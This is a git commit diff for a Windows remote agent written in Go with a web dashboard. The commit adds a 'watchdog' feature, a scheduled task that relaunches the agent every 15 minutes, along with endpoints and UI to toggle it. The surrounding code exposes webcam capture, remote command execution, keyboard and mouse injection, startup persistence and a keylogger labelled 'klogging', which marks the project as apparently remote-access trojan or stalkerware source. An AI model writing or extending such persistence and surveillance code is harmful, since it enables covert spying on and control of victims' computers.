feat(watchdog): separate watchdog from startup

- Add /api/v1/watchdog to enable/disable
- Scheduled task now runs every 15 minutes
- Use schtasks command line instead of XML
- Dashboard shows watchdog enabled state
- Preserve watchdog state during install
This commit is contained in:
2026-09-02 00:15:37 +03:00
parent 536ea9a53e
commit 977da8b109
16 changed files with 247 additions and 193 deletions
+1
View File
@@ -97,6 +97,7 @@ func (a *Agent) Serve() error {
mux.HandleFunc("/api/v1/webcam/frame", a.handleWebcamFrame)
mux.HandleFunc("/api/v1/exec", a.handleExec)
mux.HandleFunc("/api/v1/startup", a.handleStartup)
mux.HandleFunc("/api/v1/watchdog", a.handleWatchdog)
mux.HandleFunc("/api/v1/settings", a.handleSettings)
mux.HandleFunc("/api/v1/input/click", a.handleClick)
mux.HandleFunc("/api/v1/input/key", a.handleKey)
+34 -5
View File
@@ -55,8 +55,9 @@ func (a *Agent) handleStatus(w http.ResponseWriter, r *http.Request) {
"os": "windows", "architecture": runtime.GOARCH, "user": helpers.Username(), "hostname": host,
"uptime_seconds": int64(time.Since(a.startedAt).Seconds()), "local_ips": helpers.LocalIPs(),
"agent_version": config.Version, "listen_address": a.addr,
"startup_enabled": startup.Enabled(),
"klogging": keylog.Running(),
"startup_enabled": startup.Enabled(),
"watchdog_enabled": startup.WatchdogEnabled(),
"klogging": keylog.Running(),
})
}
@@ -65,20 +66,48 @@ func (a *Agent) handleStartup(w http.ResponseWriter, r *http.Request) {
case http.MethodPost:
if err := startup.Enable(); err != nil {
helpers.Log.Printf("startup enable: %v", err)
helpers.WriteError(w, http.StatusInternalServerError, "could not add to startup")
helpers.WriteError(w, http.StatusInternalServerError, err.Error())
return
}
case http.MethodDelete:
if err := startup.Disable(); err != nil {
helpers.Log.Printf("startup disable: %v", err)
helpers.WriteError(w, http.StatusInternalServerError, "could not remove from startup")
helpers.WriteError(w, http.StatusInternalServerError, err.Error())
return
}
default:
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
helpers.WriteJSON(w, http.StatusOK, map[string]any{"startup_enabled": startup.Enabled()})
helpers.WriteJSON(w, http.StatusOK, persistState())
}
func (a *Agent) handleWatchdog(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case http.MethodPost:
if err := startup.EnableWatchdog(); err != nil {
helpers.Log.Printf("watchdog enable: %v", err)
helpers.WriteError(w, http.StatusInternalServerError, err.Error())
return
}
case http.MethodDelete:
if err := startup.DisableWatchdog(); err != nil {
helpers.Log.Printf("watchdog disable: %v", err)
helpers.WriteError(w, http.StatusInternalServerError, err.Error())
return
}
default:
helpers.WriteError(w, http.StatusMethodNotAllowed, "method not allowed")
return
}
helpers.WriteJSON(w, http.StatusOK, persistState())
}
func persistState() map[string]any {
return map[string]any{
"startup_enabled": startup.Enabled(),
"watchdog_enabled": startup.WatchdogEnabled(),
}
}
func (a *Agent) handleSettings(w http.ResponseWriter, r *http.Request) {
+26
View File
@@ -15,6 +15,9 @@
const startupState = document.getElementById("startup-state");
const startupAdd = document.getElementById("startup-add");
const startupRemove = document.getElementById("startup-remove");
const watchdogState = document.getElementById("watchdog-state");
const watchdogEnable = document.getElementById("watchdog-enable");
const watchdogDisable = document.getElementById("watchdog-disable");
const keylogState = document.getElementById("keylog-state");
const keylogEnable = document.getElementById("keylog-enable");
const keylogDisable = document.getElementById("keylog-disable");
@@ -135,9 +138,11 @@
["Uptime", `${data.uptime_seconds}s`],
["Local IPs", (data.local_ips || []).join(", ") || "—"],
["Startup", data.startup_enabled ? "enabled" : "disabled"],
["Watchdog", data.watchdog_enabled ? "enabled" : "disabled"],
["klogging", data.klogging ? "on" : "off"],
];
setStartup(Boolean(data.startup_enabled));
setWatchdog(Boolean(data.watchdog_enabled));
currentListen = data.listen_address || "";
syncUpdateMeta();
loadSettings().catch((err) => showError(err.message));
@@ -312,6 +317,12 @@
startupRemove.disabled = !enabled;
}
function setWatchdog(enabled) {
watchdogState.textContent = enabled ? "Watchdog: enabled" : "Watchdog: disabled";
watchdogEnable.disabled = enabled;
watchdogDisable.disabled = !enabled;
}
function setKeylog(enabled) {
keylogState.textContent = enabled ? "klogging: on" : "klogging: off";
keylogEnable.disabled = enabled;
@@ -339,6 +350,15 @@
const res = await api("/api/v1/startup", { method: enabled ? "POST" : "DELETE" });
const data = await res.json();
setStartup(Boolean(data.startup_enabled));
setWatchdog(Boolean(data.watchdog_enabled));
loadStatus().catch((err) => showError(err.message));
}
async function setWatchdogEnabled(enabled) {
const res = await api("/api/v1/watchdog", { method: enabled ? "POST" : "DELETE" });
const data = await res.json();
setStartup(Boolean(data.startup_enabled));
setWatchdog(Boolean(data.watchdog_enabled));
loadStatus().catch((err) => showError(err.message));
}
@@ -729,6 +749,12 @@
startupRemove.addEventListener("click", () => {
setStartupEnabled(false).catch((err) => showError(err.message));
});
watchdogEnable.addEventListener("click", () => {
setWatchdogEnabled(true).catch((err) => showError(err.message));
});
watchdogDisable.addEventListener("click", () => {
setWatchdogEnabled(false).catch((err) => showError(err.message));
});
keylogEnable.addEventListener("click", () => {
setKeylogEnabled(true).catch((err) => showError(err.message));
});
+6
View File
@@ -517,6 +517,7 @@
background: rgba(0, 0, 0, 0.2);
}
.startup-card .meta { flex: 1; min-width: 8rem; font-size: 0.92rem; color: var(--text-secondary); }
.startup-card + .startup-card { margin-top: 0.65rem; }
/* —— Tables —— */
.table-wrap {
@@ -757,6 +758,11 @@
<button id="startup-add" type="button">Add to startup</button>
<button id="startup-remove" class="danger" type="button">Remove from startup</button>
</div>
<div class="startup-card">
<span id="watchdog-state" class="meta">Watchdog: —</span>
<button id="watchdog-enable" type="button">Enable Watchdog</button>
<button id="watchdog-disable" class="danger" type="button">Disable Watchdog</button>
</div>
</section>
<section id="files" class="panel">